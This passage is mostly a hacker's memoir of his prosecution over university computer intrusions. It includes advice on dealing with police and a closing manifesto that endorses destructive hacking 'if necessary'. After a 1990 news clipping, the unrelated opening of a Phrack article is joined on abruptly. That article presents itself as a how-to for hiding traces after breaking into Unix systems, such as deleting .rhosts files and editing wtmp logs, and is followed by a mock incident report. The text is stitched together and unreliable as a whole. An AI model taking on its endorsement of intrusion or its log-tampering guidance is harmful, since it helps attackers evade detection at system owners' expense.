Talking to the police, on the other hand, is a very bad idea, and will result in disaster. Regardless of any threats and intimidation they use, there is absolutely nothing they can do to you if you do not talk to them. Any deal they offer you is bogus, a flat‑out lie. They do not have the authority to offer you a deal. These two facts can not be stressed enough. This may seem common knowledge, the sort even an idiot would know. I knew it myself.

However, from inexperience and arrogance I thought myself immune to the rules. I assumed that talking to them could damage nothing, since I had done nothing wrong but make a mistake. Certainly

this was just a misunderstanding, and I could easily clear it up.

The police will encourage you to believe this, and before you realize it you will have told them everything they want to know.

Simply, if you are not under arrest, walk away. If you are

under arrest, request an attorney.

Realize that I, a confirmed paranoid, knowing and having heard this warning from other people, still fell into the trap of believing myself able to talk my way out of prosecution. Don't do the same thing yourself, either from fear or arrogance.

Don't tell them anything. They'll find out more than enough without your help.

XI. Interlude

Finally, after what had seemed nearly two weeks of furious activity, constant harassment and disasters, the investigation entered a more or less quiescent state. It was to remain in this state for several months.

This is not to say that the harassment ceased, or that matters improved. The investigation seemed to exist in a state of suspended animation, from our viewpoint. Matters ceased getting worse exponentially.

Now, they merely got worse arithmetically.

My parents ejected me from home for the second time due to my grades. They did not know about the police investigation. I

was in no hurry to tell them about it. I could have went to live with my father, but instead I returned to State College by bus, with no money, no prospects and no place to live. I blamed the police investigation for my grades, which was not entirely correct. I doubt, however, that I would have failed as spectacularly as I had if the police had not entered my life.

Over the Christmas break, when the campus was mostly vacant, Dale noticed a new set of booted footprints in the new‑fallen snow every night, by the window to the Electronic Music Lab, and by that window only.

A few times, I heard static and odd clicks on the telephone at

the Lab, but whether this was poor telephone service or some clumsy attempt at a wiretap I can not say with assurance.

I discovered that my food card was still valid, so

I had a source of free food for a while. I had switched to a nocturnal sleep cycle, so I slept during the day in the Student Union Building, rose for a shower in the Athletics Building at about midnight, and hung out in the Electronic Music Lab at night. Being homeless is not as difficult as might be imagined, especially in a university environment, as long as one does not look homeless. Even if one does look scruffy, this will raise few eyebrows on a campus.

Around this time, I switched my main interest from computer hacking to reading and writing poetry, being perhaps the thousandth neophyte poet to use Baudelaire as a model. I suppose that I was striving to create perfection from imperfect materials, also my motivation for hacking.

Eventually, Dale offered to let me split the rent with him on a room. The police had 'suggested' that WPSX‑TV3 fire him from his job as an audio technician. Regardless of the legality of this skullduggery, WPSX‑TV3, a public television station, reprehensibly fired him. This is another aspect of the law‑enforcement mentality which bears close examination.

While claiming a high moral ground, as protectors of the community, they will rationalize a vendetta as somehow protecting some vague and undefined 'public good.' With the zeal of vigilantes, they

will eschew the notion of due process for their convenience. Considering the law beneath them, and impatient at the rare refusal of judges and juries to be a rubber‑stamp for police privilege, they will take punishment into their own hands, and use any means necessary to destroy the lives of those who get in their way.

According to the Random House Dictionary of the English Language (Unabridged Edition):

Police state: a nation in which the police, especially a secret police, suppresses any act by an individual or group that conflicts with governmental policy or principle.

Since undisclosed members of CERT, an organization directly

funded by Air Force Intelligence, are authorized to make anonymous accusations of malfeasance without disclosing their identity, they can be called nothing but secret police.

The spooks at the CIA and NSA also hold this unusual privilege, even if one does not consider their 'special' operations. What can these organizations be called if not secret police?

It can not be denied, even by those myopic enough to believe that such organizations are necessary, that these organizations comprise a vast and secret government which is not elected and not subject to legal restraint. Only in the most egregious cases of wrongdoing are these organizations even censured; and even in these cases, it is only the flunkies that receive even a token punishment; the principals, almost without exception, are exonerated and even honored. Those few

who are too disgraced to continue work even as politicians ascend to the rank of elder statesmen, and write their memoirs free from molestation.

When your job, your property and your reputation can be destroyed or stolen without recompense and with impunity, what can our nation be called but a police state? When the police are even free to beat you senseless without provocation, on videotape, and still elude justice, what can this nation be called but a police state?

Such were my thoughts during the months when the investigation seemed dormant, as my anger began, gradually, to overcome

my fear. This is the time that I considered trashing

the Penn State data network, the Internet, anything I could. Punishment, to me, has always seemed merely a goad to future vengeance. However, I saw the uselessness of taking revenge on innocent parties for the police's actions.

I contacted the ACLU, who showed a remarkable lack of interest in the case. As charges had not been filed, there was little they could do. They told me, however, to contact them in the event that a trial date was set.

"If you cannot afford an attorney, one will be provided for you." This is, perhaps, the biggest lie in the litany of lies

known as the Miranda rights. It is the court which prosecutes

you that decides whether you can afford an attorney, and the same court selects that attorney.

Without the formal filing of charges, you can not receive the assistance of a public defender. This is what I was told by the public defender's office. Merely being investigated apparently does not entail the right to counsel, regardless of the level of harassment involved in the investigation.

We remained in intermittent contact with the police, and called every week or so to ask what was happening. We learned nothing new. The only information of any importance I did learn was at a

party. Between hand‑rolled cigarettes of a sort never sold by

the R. J. Reynolds' Tobacco Company, I discussed my case.

This might not be the sort of thing one would normally do at a party, but if you are busted you will find that the investigation takes a central role in your life. When you are not talking about it, you are thinking about it. When you are not thinking about it, you are trying the best you can not to think about it. It is a cherished belief of mine that anyone who survives a police investigation ought to receive at least an Associate's degree in Criminal Law; you will learn more about the law than you ever wished to know.

The person on my right, when I said that Jeffery Jones was in charge of the case, immediately started. "He was in my high school class," said the man, who sported a handlebar mustache.

"What? Really? What's he like? Is he as much of an asshole in person?" I asked.

"He was kind of a weird kid."

"How? What's he done? Have you kept in touch?"

"Well, all I really know about him is that he went out to be a cop in Austin, but he couldn't take it, had a breakdown or something, and came back here."

"I can see that. He's a fucking psycho."

I gloated over this tidbit of information, and decided that I would use it the next time I met the police.

This was to be several weeks. Though we had given the police our work schedules, phone numbers at home, work and play; and informed them when they might be likely to locate us at any particular place, we had apparently underestimated the nearly limitless incompetence of Penn State's elite computer cops.

As he was walking to work one day, Dale saw Jeffery Jones driving very slowly and craning his neck in all directions, apparently looking for someone. However, he failed to note the presence of Dale, the only person on the street. Dale wondered whether Jeffery had been looking for him.

The next night at the Lab, the telephone rang. With a series of typical, frenzied accusations Jeffery Jones initiated the conversation. He believed that we had been attempting to escape or evade him in some manner. Wayne was on another line, and Dale and I talked from different phones.

"You've been trying to avoid us, haven't you?" Jeffery shouted.

"Where have you been?" asked Wayne.

"We told you where we'd be. You said you'd be in touch," I said.

"We haven't been able to find you," said Wayne.

"Look, you have our goddamn work schedule, our address, our phone numbers, and where we usually are. What the hell else do you need?" asked Dale.

"We went to your address. The guy we talked to didn't know where you were," said Wayne.

As we discovered later that night, the police had been at our apartment, and had knocked on the wrong door, that of our downstairs neighbor, a mental patient who had been kicked out of the hospital after Reagan's generous revision of the mental health code. His main activity was shouting and threatening to kill people who weren't there, so the consternation of the police was not surprising.

"So we weren't there. You could have called," said Dale.

"I just hope you don't decide to leave the area. We're going to arrest you in a couple of days," said Wayne.

"You've been saying that for the last three months," I said. "What's taking so long?"

"The secretary's sick," said Jeffery.

"You ought to get this secretary to a doctor. She must be

really goddamn sick, if she can't type up an arrest warrant

in three months," said Dale.

"Hell, I'll come down and type up the damn thing myself, if

it's too tough for the people you have down there," I offered.

"No, that won't be necessary," said Wayne.

"Look, when you want to arrest us, just give us a call and we'll come down. Don't pull some dumb cop routine like kicking in the door," said Dale.

"Okay," Wayne said. "Your cooperation will be noted."

"By the way, Jeff, I heard you couldn't hack it in Austin," I said.

Silence followed.

After an awkward silence, Wayne said: "We'll be in touch."

We said our goodbyes, except for Jeffery, and hung up the phones.

I somewhat regretted the last remark, but was still happy with its reception. It is probably unwise to play Scare‑the‑Cops, but by then I no longer gave a damn. He was probably dead certain that I had found this information, and other tidbits of information I had casually mentioned, in some sort of computer database. His mind was too limited to consider the possibility that I had met an old high‑school chum of his and pumped him for information.

By this time, our fear of the police had diminished, and both of us were sick to death of the whole business. We just hoped that whatever was to happen would happen more quickly.

When the police first started threatening to arrest us within days, it would send a tremor down my spine. However, after three months of obfuscation, excuses, continued harassment of this nature, my only response to this threat was anger and boredom.

At least, upon arrest, we would enter a domain where there were some rules of conduct and some certainty. The Kafkaesque uncertainty and arbitrarily redefined rules inherent in a police investigation were intolerable.

After another month of delay, the police called us again,

and we agreed to come in to be arrested at nine o'clock the

next morning.

It was possible that the police would jail us, but it seemed unlikely. Two prominent faculty members had strongly condemned the behavior of the police. The case was also politically‑charged, and jailing us would likely have resulted in howls of outrage, and perhaps even in a civil or criminal suit against Penn State.

Wayne told us that we would have to go to the District Magistrate for a preliminary hearing. Dale said that we would go, but demanded a ride there and back. The police complied.

We were more relieved than worried. Finally, something was happening.

XII. The Arrest

On a cold and sunny morning we walked into the police station to be arrested. I was curious as to the fingerprinting procedure. The cops were to make three copies of my fingerprints, one for the local police, one for the state police, and one for the FBI.

Jeffery was unable to fingerprint me on the first two attempts. When he finally succeeded in fingerprinting me, he had to do it again. He had incorrectly filled out the form. Finally, with help

from Wayne, he was able to fingerprint me.

Dale was more difficult. Jeffery objected to the softness of Dale's fingers, and said that would make it difficult. The fact that Dale's fingers were soft, as he is a pianist more accustomed to smooth ivory than plastic, would seem to exonerate him from any charge of computer hacking. However, such a thought never troubled the idyllic vacancy of Jeffery's mind. He was too busy bungling through

the process of fingerprinting. Wayne had to help him again.

There was soap and water for washing the ink from our

fingers. However, it left the faintest trace of ink on the pads of my fingers, and I looked at the marks with awe, realizing that I had been, in a way, permanently stigmatized.

However, as poorly as the soap had cleaned my fingers, I thought with grim amusement that Jeffery would have much more difficulty cleaning the ink from his clothes.

Jeffery did not take the mug shots. A photographer took them. Therefore, it went smoothly.

Finally, Wayne presented me with an arrest warrant affidavit, evidently written by Jeffery Jones. A paragon of incompetence, incapable of performing the simplest task without assistance, Jeff had written an eighteen‑page arrest warrant affidavit which was a marvel of incoherence and inaccuracy. This document, with a list of corrections and emendations, will appear in a separate article.

While reading the first five pages of this astounding document, I attempted to maintain an air of solemnity. However, by the sixth page, I was stifling giggles. By the seventh, I was chuckling out loud. By the eighth page I was laughing. By the ninth page I was laughing loudly, and I finished the rest of the document in gales of mirth. Everyone in the room stared at me as if I were insane. This didn't bother me. Most of my statements to the police resulted in this sort of blank stare. Even Dale looked as if he thought I had cracked, but he understood when he saw his arrest warrant affidavit, nearly identical to mine.

I simply was unable to take seriously that I had spent months worrying about what kind of a case they had, when their best effort was this farrago of absurdities.

They took us to Clifford Yorks, the District Magistrate, in separate cars. This time, we rode in the front seat, and two young recruits were our chauffeurs. Dale asked his driver if he could turn on the siren. The cop was not amused.

The only thing which struck me about Clifford Yorks was

that he had a remarkably large head. It appeared as if it

had been inflated like a beach ball.

The magistrate briefly examined the arrest warrant affidavits, nodded his vast head, and released us on our own recognizance,

in lieu of ten thousand dollars bail. He seemed somewhat preoccupied. We signed the papers and left. The police offered to give

us a ride right to our house, but we said we'd settle for being dropped off in town.

Being over a month in arrears for rent, we did not like the idea of our landlord seeing us arrive in separate police cars; also, our address was rather notorious, and other residents would be greatly suspicious if they saw us with cops.

An arraignment was scheduled for a date months in the future.

The waiting game was to resume.

XIII. Legal Counsel

Having been arrested, we were at last eligible for legal counsel. We went to the yellow pages and started dialing. We started with the attorneys with colored half‑page ads. Even from those advertising "Reasonable Rates," we received figures I will not quote for fear of violating obscenity statutes.

Going to the quarter‑page ads, then the red‑lettered names, then the schmucks with nothing but names, we received the same sort of numbers. Finally talking to the _pro bono_ attorneys, we found that we were entitled to a reduction in rates of almost fifty per cent.

This generosity brought the best price down to around three thousand dollars, which was three thousand dollars more than we could afford.

So we contacted the public defender's office.

Friends told me that a five thousand dollar attorney is worse, even, than a public defender; and that it takes at least twenty thousand to retain an attorney with capable of winning anything but the most open‑and‑shut criminal case.

After a certain amount of bureaucratic runaround, we were assigned two attorneys. One, Deborah Lux, was the Assistant Chief Public Defender; the other, Dale's attorney, was Bradley Lunsford, a sharp, young attorney who seemed too good to be true.

We discussed the case with our new attorneys, and were told that the best action we could take to defend ourselves was to do nothing.

This is true. Anything we had attempted in our own defense, with the exception of contacting the complaining party, had been harmful to our case. Any discussions we had with the police were taped and examined for anything incriminating. A letter to the district attorney was ignored entirely.

Do absolutely nothing without legal counsel. Most legal counsel will advise you to do nothing. Legal counsel has more leverage than you do, and can make binding deals with the police. You can't.

We discussed possible defenses.

As none of the systems into which I had intruded had any sort of warning against unauthorized access, this was considered a plausible defense.

The almost exclusive use of 'guest' accounts was also beneficial.

A more technical issue is the Best Evidence rule. We wondered whether a court would allow hardcopy as evidence, when the original document was electronic. As it happens, hardcopy is often admissible due to loopholes in this rule, even though hardcopy is highly susceptible to falsification by the police; and most electronic mail has no built‑in authentication to prove identity.

Still, without anything more damaging than electronic mail, a case would be very difficult to prosecute. However, with what almost amounted to a taped confession, the chance of a conviction

was increased.

We went over the arrest warrant affidavit, and my corrections to it, with a mixture of amusement and consternation.

"So what do you think of this?" asked Dale.

After a moment of thought, Deb Lux said: "This is gibberish."

"I just had a case where a guy pumped four bullets into his brother‑in‑law, just because he didn't like him, and the arrest warrant for that was two pages long. One and a half, really," said Brad.

"Does this help us, at all, that this arrest warrant is just demonstrably false, that it literally has over a hundred mistakes in it?" I asked.

"Yeah, that could help," said Brad.

We agreed to meet at the arraignment.

XIV. The Stairwells of Justice

The arraignment was a simple procedure, and was over in five minutes. Prior to our arraignment, five other people were arraigned on charges of varying severity, mainly such heinous crimes as smoking marijuana or vandalism.

Dale stepped in front of the desk first. He was informed of the charges against him, asked if he understood them, and that was it.

I stepped up, but when the judge asked me whether I understood the charges, I answered that I didn't, and that the charges were incomprehensible to a sane human being. I had hoped for some sort of response, but that was it for me, too.

A trial date was set, once again months in advance.

A week before the date arrived, it was once again postponed.

During this week, we were informed that Dale's too good to be true attorney, Brad Lunsford, had went over to the District Attorney's office. He was replaced by Dave Crowley, the Chief District Attorney, a perpetually bitter, pock‑faced older man with the demeanor and bearing of an angry accountant.

Crowley refused to consider any of the strategies we had discussed at length with Brad and Deb. Dale was understandably irate at the sudden change, as was I, for when Deb and I were attempting to discuss the case he would interject rude comments.

Finally, after some particularly snide remark, I told him to fuck off, or something similarly pleasant, and left. Dale and I tried to limit our dealings to Deb, and it was Deb who handled both of our cases to the end, for which I thank God.

The day arrived.

We dressed quite sharply, Dale in new wool slacks and jacket. I dressed in a new suit as well, and inserted a carnation in my buttonhole as a gesture of contempt for the proceedings.

Dale looked so sharp that he was mistaken for an attorney twice. I did not share this distinction, but I looked sharp enough. I had shaved my beard a month previously after an error in trimming,

so I looked presentable.

We realized that judges base their decisions as much on your appearance as on what you say. We did not intend to say anything, so appearance was of utmost importance.

We arrived at about the same time as at least thirty assorted computer security professionals, police, witnesses and ancillary court personnel. Dhamir Mannai and Richard Devon were there as well, and we exchanged greetings. Richard Devon was optimistic about the outcome, as was Dhamir Mannai. The computer security people gathered into a tight, paranoid knot, and Richard Devon and Dhamir Mannai stood about ten feet away from them, closer to us than to them. Robert Owens, Angela Thomas, Bryan Jensen, and Dan Ehrlich were there, among others. They seemed nervous and ill‑at‑ease in their attempt at formal dress. Occasionally, one or another would glare at us, or at Devon and Mannai. I smiled and waved.

A discussion of some sort erupted among the computer security people, and a bailiff emerged and requested that they be quiet. The second time this was necessary, he simply told them to shut up, and told them to take their discussion to the stairwells. Dale and I had known of the noise policy for some time, and took all attorney‑client conferences to the stairwells, which were filled at all times with similar conferences. It seemed that all the hearings and motions were just ceremonies without meaning; all the decisions had been made, hours before, in the stairwells of justice.

Finally Deb Lux arrived, with a sheaf of documents, and immediately left, saying that she would return shortly. A little over twenty minutes later, she returned to announce that she had struck a deal with Eileen Tucker, the Assistant District Attorney.

In light of the garbled nature of the police testimony, the spuriousness of the arrest warrant affidavit, the hostility of their main witness, Dhamir Mannai, and the difficulty of prosecuting a highly technical case, the Office of the District Attorney was understandably reluctant to prosecute us.

I was glad not to have to deal with Eileen Tucker, a woman affectionately nicknamed by other court officials "The Wicked Witch of the West." With her pallid skin, and her face drawn tightly over her skull as if she had far too much plastic surgery, this seemed an adequately descriptive name, both as to appearance and personality.

The deal was Advanced Rehabilitative Disposition, a pre‑trial diversion in which you effectively receive probation and a fine, and charges are dismissed, leaving you with no criminal record. This is what first‑time drunk drivers usually receive.

It is essentially a bribe to get the cops off your back.

The fines were approximately two thousand dollars apiece, with Dale arbitrarily receiving a fine two hundred dollars greater than mine.

After a moment of thought, we decided that the fines were too large. We turned down the deal, and asked her if she could get anything better than that.

After a much shorter conference she returned, announcing

that the fines had been dropped by about a third. Still unsatisfied, but realizing that the proceedings, trial, jury selection, delays, sentencing, motions of discovery and almost limitless writs and affidavits and appeals would take several more months, we agreed to the deal. It was preferable to more hellish legal proceedings.

We discussed the deal outside with Richard Devon; Dhamir Mannai had left, having pressing engagements both before and after his testimony had been scheduled. We agreed that a trial would probably have resulted in an eventual victory, but at what unaffordable cost? We had no resources or time for a prolonged legal battle, and no acceptable alternative to a plea‑bargain.

XV. The End? Of Course Not; There Is No End

This, we assumed incorrectly, was the end. There was still a date for sentencing, and papers to be signed.

Nevertheless, this was all a formality, and weeks distant. There was time to prepare for these proceedings. The hounds of spring were on winter's traces. Dale and I hoped to return to what was left of our lives, and to enjoy the summer.

This hope was not to be fulfilled.

For, while entering the Electronic Music Lab one fine spring night, Andy Ericson [*], a locally‑renowned musician, was halted by the University Police outside the window, as he prepared to enter.

We quickly explained that we were authorized to be present, and immediately presented appropriate keys, IDs and other evidence that we were authorized to be in the Lab.

Nevertheless, more quickly than could be imagined, the cops grabbed Andy and slammed him against a cruiser, frisking him for

weapons. They claimed that a person had been sighted carrying a firearm on campus, and that they were investigating a call.

No weapons were discovered. However, a small amount of marijuana and a tiny pipe were found on him. Interestingly, the police log in the paper the following day noted the paraphernalia bust, but there was no mention of any person carrying a firearm on campus.

Andy, a mathematician pursuing a Master's Degree, was performing research in a building classified Secret, and thus required a security clearance to enter the area where he performed his research.

His supervisor immediately yanked his security clearance, and

this greatly jeopardized his chances of completing his thesis.

This is, as with my suspicions of wiretapping, an incident in which circumstantial evidence seems to justify my belief that the

police were, even then, continuing surveillance on my friends and on me. However, as with my wiretapping suspicions, there is

a maddening lack of substantial evidence to confirm my belief beyond a reasonable doubt.

Still, the police continued their series of visits to the Lab, under one ruse or another. Jeffery Jones, one night, threatened to arrest Dale for being in the Electronic Music Lab, though he had been informed repeatedly that Dale's access was authorized by the School of Music. Dale turned over his keys to Police Services the following day, resenting it bitterly.

This, however, was not to be a victory for the cops, but a crushing embarrassment. While their previous actions had remained at least within the letter of the law and of university policy, this was egregious and obvious harassment, and was very quickly quashed.

Bob Wilkins, the supervisor of the Electronic Music Lab; Burt Fenner, head of the Electronic Music division; and the Dean of the College of Arts and Architecture immediately drafted letters to the University Police objecting to this illegal action; as it is the professors and heads of departments who authorize keys, and not the University Police. The keys were returned within three days.

However, Jeffery was to vent his impotent rage in repeated visits to the Lab at late hours. On a subsequent occasion, he again threatened to arrest Dale, without providing any reason or justification for it.

The police, Jeffery and others, always had some pretext for these visits, but the fact that these visits only occurred when Dale was

present in the Lab, and that they visited no one else, seems to be solid circumstantial evidence that they were more than routine checkups.

Once the authorities become interested in you, the file is never closed. Perhaps it will sit in a computer for ten or twenty years. Perhaps it will never be accessed again. However, perhaps some day in the distant future the police will be investigating some unrelated incident, and will once again note your name. You were in the wrong building, or talked to the wrong person. Suddenly, their long‑dormant interest in you has reawakened. Suddenly, they once again want you for questioning. Suddenly, once again, they pull your life out from under you.

This is the way democracies die, not by revolution or coups d'etat, not by the flowing of blood in the streets like water, as historical novelists so quaintly write. Democracies die by innumerable papercuts. Democracies die by the petty actions of petty bureaucrats who, like mosquitoes, each drain their little drop of life's blood until none is left.

XVI. Lightning Always Strikes the Same Place Twice

One day, Dale received in the mail a subpoena, which informed him that his testimony was required in the upcoming trial of Ron Gere, who had moved to Florida. The cops had charged him with criminal conspiracy in the creation of the Huang account at the Engineering Computer Lab.

Now, not only was I guilty of being used as a weapon against a friend, but also guilty of this further complication, that the police were to use a friend of mine as a weapon against yet another friend.

It is interesting to note the manner in which the police use betrayal, deceit and infamous methods to prosecute crime.

It is especially interesting to note the increased use of

such methods in the prosecution of crimes with no apparent victim. Indeed, in this specific case, the only victim with a demonstrable loss testified against the police and for the accused.

Dale resolved to plead the Fifth to any question regarding Ron, and to risk contempt of court by doing so, rather than be used

in this manner.

This was not necessary. As it happened, Ron was to drive well over two thousand miles simply to sign a paper and receive ARD. The three of us commiserated, and then Ron was on his way back to Florida.

XVII. Sentencing

Dale and I reported to the appropriate courtroom for sentencing. In the hall, a young man, shackled and restrained by two police officers, was yelling: "I'm eighteen, and I'm having a very bad day!" The cops didn't bat an eye as they dragged him to the adjoining prison.

We sat.

The presiding judge, the Hon. David C. Grine, surveyed with evident disdain a room full of criminals like us. Deborah Lux was there, once again serving as counsel. David Crowley was mercifully absent.

The judge briefly examined each case before him. For each case, he announced the amount of the fine, the time of probation, and banged his gavel. Immediately before he arrived at our case, he looked at a man directly to our left. Instead of delivering the usual ARD sentence, he flashed a sadistic grin and said: "Two years jail." Dealing marijuana was the crime. The man's attorney objected. The judge said: "Okay, two years, one suspended." The attorney, another flunky from the public defender's office, sat down again. Two cops immediately dragged the man from the courtroom to take him to jail.

I noted that practically everyone in the room was poor,

and those with whom I spoke were all uneducated. DUI was the

most common offense.

Judge Grine came to our case, announced the expected sentence,

and we reported upstairs to be assigned probation officers. I was disgusted with myself for having agreed to this arrangement, and perhaps this was why I was surly with the probation officer, Thomas Harmon. This earned me a visit to a court‑appointed psychiatrist, to determine if I were mentally disturbed or on drugs.

That I was neither was satisfied by a single interview, and no drug‑testing was necessary; for which I am grateful, for I would have refused any such testing. Exercising this Fifth Amendmentguaranteed right is, of course, in this day considered to be

an admission of guilt. The slow destruction of this right began with the government policy of "implied consent," by which one signs over one's Fifth Amendment rights against self‑incrimination by having a driver's license, allowing a police officer to pull you over and test your breath for any reason or for no reason

at all.

I later apologized to Thomas Harmon for my rudeness, as he had done me no disservice; indeed, a probation officer is, at least, in the business of keeping people out of jail instead of putting them there; and his behavior was less objectionable than that of any other police officer involved in my case.

Very shortly thereafter, realizing that I knew a large number

of the local police on a first‑name basis, I left the area, with the stated destination of Indiana. I spent the next two years travelling, with such waypoints as New Orleans, Denver, Seattle and Casper, Wyoming; and did not touch a computer for three years, almost having a horror of them.

I did not pay my fine in the monthly installments the court demanded. I ignored virtually every provision of my probation. I did not remain in touch with my probation officer, almost determined that my absence should be noticed. I did a lot of drugs, determined to obliterate all memory of my previous life. In Seattle, heroin was a drug of choice, so I did that for a while.

Finally, I arrived at my stated destination, Indiana, with only about three months remaining in my probation, and none of my fines paid. Dale, without my knowledge, called my parents and convinced them to pay the fine.

It took me a few days of thought to decide whether or not to accept their generous offer; I had not thought of asking them to pay the fine, sure that they would not. Perhaps I had done them a disservice in so assuming, but now I had to decide whether to accept their help.

If my fines were not paid, my ARD would be revoked, and a new trial date would be set. I was half determined to return and fight this case, still ashamed of having agreed to such a deal under duress. However, after discussing it at exhaustive length with everyone I knew, I came to the conclusion that to do so would be foolish and quixotic. Hell, I thought, Thoreau did the same thing in a similar circumstance; why shouldn't I?

I accepted my parents' offer. Three months later, I received a letter in the mail announcing that the case had been dismissed and my records expunged, with an annotation to the effect that records would be retained only to determine eligibility for any future ARD. I believe this to the same degree in which I believe that the NSA never performs surveillance on civilians. I have my doubts that the FBI eliminated all mention of me from their files. I shall decide after I file a Freedom of Information Act request and receive a reply.

I now have a legitimate Internet account and due to my experiences with weak encryption am a committed cypherpunk and Clipper Chip proposal opponent.

What is the moral to this story?

Even now, when I have had several years to gain distance and perspective, there does not seem to be a clear moral; only several pragmatic lessons.

I became enamored of my own brilliance, and arrogantly sure that my intelligence was invulnerability. I assumed my own immortality, and took a fall. This was not due to the intelligence of my adversaries, for the stupidity of the police was marvellous to behold. It was due to my own belief that I was somehow infallible.

Good intentions are only as good as the precautions taken to ensure their effectiveness.

There is always a Public Enemy Number One. As the public's fickle attention strays from the perceived menace of drug use, it will latch on to whatever new demon first appears on television. With the growing prevalence of hatchet jobs on hackers in the public media, it appears that hackers are to be the new witches.

It is advisable, then, that we avoid behavior which would tend to confirm the stereotypes. For every Emmanuel Goldstein or R. U. Sirius in the public eye, there are a dozen Mitnicks and Hesses; and, alas, it is the Mitnicks and Hesses who gain the most attention. Those who work for the betterment of society are much less interesting to the media than malicious vandals or spies.

In addition, it is best to avoid even the appearance of dishonesty in hacking, eschewing all personal gain.

Phreaking or hacking for personal gain at the expense of others is entirely unacceptable. Possibly bankrupting a small company through excessive telephone fraud is not only morally repugnant, but also puts money into the coffers of the monopolistic phone companies that we despise.

The goal of hacking is, and always has been, the desire for full disclosure of that information which is unethically and illegally hidden by governments and corporations; add to that a dash of healthy curiosity and a hint of rage, and you have a solvent capable of dissolving the thickest veils of secrecy. If destructive means are necessary, by all means use them; but be sure that you are not acting from hatred, but from love.

The desire to destroy is understandable, and I sympathize with it; anyone who can not think of a dozen government bodies which would be significantly improved by their destruction is probably too

dumb to hack in the first place. However, if that destruction merely leads to disproportionate government reprisals, then it is not only inappropriate but counterproductive.

The secrecy and hoarding of information so common in the hacker community mirrors, in many respects, the secrecy and hoarding of information by the very government we resist. The desired result is full disclosure. Thus, the immediate, anonymous broadband distribution of material substantiating government and corporate wrongdoing is a mandate.

Instead of merely collecting information and distributing it privately for personal amusement, it must be sent to newspapers, television, electronic media, and any other means of communication to ensure both that this information can not be immediately suppressed by the confiscation of a few bulletin board systems

and that our true motives may be discerned from our public and visible actions.

Our actions are not, in the wake of Operation Sun‑Devil and the Clipper Chip proposal, entirely free. The government has declared war on numerous subsections of its own population, and thus has defined the terms of the conflict. The War on Drugs is a notable example, and we must ask what sort of a government declares war

on its own citizens, and act accordingly.

Those of us who stand for liberty must act while we still can.

It is later than we think.

"In Germany they first came for the Communists and I didn't speak up because I wasn't a Communist. Then they came for the Jews, and I didn't speak up because I wasn't a Jew. Then they came for the trade unionists, and I didn't speak up because I wasn't a trade unionist. Then they came for the Catholics, and I didn't speak up because I was a Protestant. Then they came for me‑‑and by that time no one was left to speak up." Martin Niemoeller

"They that can give up essential liberty to obtain a litle temporary safety deserver neither liberty nor safety." Benjamin Franklin

‑‑‑‑‑‑‑‑‑

APPENDIX A

[From cert‑clippings]

Date: Sat, 10 Mar 90 00:22:22 GMT

From: thomas@shire.cs.psu.edu (Angela Marie Thomas)

Subject: PSU Hackers thwarted

The Daily Collegian Wednesday, 21 Feb 1990

Unlawful computer use leads to arrests

ALEX H. LIEBER, Collegian Staff Writer

Two men face charges of unlawful computer use, theft of services in a preliminary hearing scheduled for this morning at the Centre County Court of Common Pleas in Bellefonte. Dale Garrison, 111 S. Smith St., and Robert W. Clark, 201 Twin Lake Drive, Gettysburg, were arrested Friday in connection with illegal use of the University computer system, according to court records. Garrison, 36, is charged with the theft of service, unlawful computer use and criminal conspiracy. Clark, 20, is charged with multiple counts of unlawful computer use and theft of service. [...]

Clark, who faces the more serious felony charges, allegedly used two computer accounts without authorization from the Center of Academic Computing or the Computer Science Department and, while creating two files, erased a file from the system. [...] When interviewed by University Police Services, Clark stated in the police report that the file deleted contained lists of various groups under the name of "ETZGREEK." Clark said the erasure was accidental, resulting from an override in the file when he tried to copy it over onto a blank file. According to records, Clark is accused of running up more than $1000 in his use of the computer account. Garrison is accused of running up more than $800 of computer time.

Police began to investigate allegations of illegal computer use in November when Joe Lambert, head of the university's computer department, told police a group of people was accessing University computer accounts and then using those accounts to gain access to other computer systems. Among the systems accessed was Internet, a series of computers hooked to computer systems in industry, education and the military, according to records.

The alleged illegal use of the accounts was originally investigated by a Computer Emergency Response Team at Carnegie‑Mellon University, which assists other worldwide computer systems in investigating improper computer use.

Matt Crawford, technical contact in the University of Chicago computer department discovered someone had been using a computer account from Penn State to access the University of Chicago computer system.

Playing Hide and Seek, Unix Style

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 14 of 27

#!/bin/sh

# Playing Hide and Seek, Unix style.

# By Phreak Accident

#

# A "how‑to" in successfully hiding and removing your electronic footprints # while gaining unauthorized access to someone else's computer system (Unix in # this case).

# Start counting ..

Hmm. Sucks don't it? Breaking into a system but only to have your access cut off the next day. Right before you had the chance to download that 2 megabyte source code file you have been dying to get all year.

Why was the access cut? Damn, you forgot to nuke that .rhosts file that you left in the root directory. Or maybe it was the wtmp entries you didn't bother to edit. Or perhaps the tcp_wrapper logs that you didn't bother to look for. Whatever it was, it just screwed your access and perhaps, just got you busted.

‑‑‑‑ Simulated incident report follows:

From: mark@abene.com (Mark Dorkenski)

Message‑Id: <9305282324.AA11445@jail.abene.com>

To: incident‑report@cert.org

Subject: Cracker Breakin

Status: RO

To whom it may concern,

Last night 2 of our machines were penetrated by an unauthorized user. Apparently the cracker (or crackers) involved didn't bother to clean up after they left.

The following are logs generated from the time the break‑in occurred.

[/usr/adm/wtmp]:

oracle ttyp1 192.148.8.15 Tue May 11 02:12 ‑ 04:00 (02:12) sync ttyp2 192.148.8.15 Tue May 11 01:47 ‑ 01:47 (00:00) robert console Mon May 10 06:00 ‑ 04:15 (22:14)

reboot ~ Mon May 10 05:59

shutdown ~ Sun May 9 11:04

[/usr/adm/messages]:

May 11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15 May 11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15

[/usr/adm/pacct]:

ls ‑ oracle ttyp1 0.00 secs Tue May 2 19:37 cat ‑ oracle ttyp1 0.00 secs Tue May 2 19:37 ls ‑ oracle ttyp1 0.00 secs Tue May 2 19:37 ls ‑ oracle ttyp1 0.00 secs Tue May 2 19:37 rdist ‑ root ttyp1 0.00 secs Tue May 2 19:37 sh ‑ root ttyp0 0.00 secs Tue May 2 19:37 ed ‑ root ttyp0 0.00 secs Tue May 2 19:37 rlogin ‑ root ttyp0 0.00 secs Tue May 2 19:37 ls ‑ root ttyp0 0.00 secs Tue May 2 19:37 more ‑ root ttyp0 0.00 secs Tue May 2 19:34

We have found and plugged the areas of vulnerability and have restored original binaries back to the system. We have already informed the proper authorities of the breakin, including the domain contact at the remote host in question.

Can you please relay any information regarding incident reports in our area?

Mark Dorkenski

Network Operations

